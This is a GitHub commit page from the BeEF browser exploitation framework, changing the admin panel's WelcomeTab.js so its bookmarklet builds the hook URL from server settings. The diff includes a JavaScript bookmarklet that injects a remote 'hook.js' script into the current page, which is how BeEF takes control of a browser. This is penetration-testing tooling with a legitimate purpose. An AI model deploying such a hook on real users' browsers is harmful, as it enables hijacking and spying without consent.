Skip to content

Commit

Permalink
Merge pull request #2099 from bcoles/adminui-bookmarklet
Browse files Browse the repository at this point in the history
AdminUI: Use correct hook file path for bookmarlet hook URL
  • Loading branch information
bcoles authored May 8, 2021
2 parents fc6ae64 + 5a65f16 commit 4140300
Showing 1 changed file with 10 additions and 3 deletions.
13 changes: 10 additions & 3 deletions extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,16 @@

WelcomeTab = function() {

var hookURL = location.protocol+'%2f%2f'+location.hostname+(location.port ? ':'+location.port : '')+'%2fhook.js';
var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27__HOOKURL__%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"
bookmarklet = bookmarklet.replace(/__HOOKURL__/,hookURL);
<%
@configuration = BeEF::Core::Configuration.instance
beef_proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http";
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
beef_hook = @configuration.get("beef.http.hook_file")
hook_url = "#{beef_proto}://#{beef_host}:#{beef_port}/#{beef_hook}"
%>

var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"

welcome = " \
<div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' > \
Expand Down

0 comments on commit 4140300

Please sign in to comment.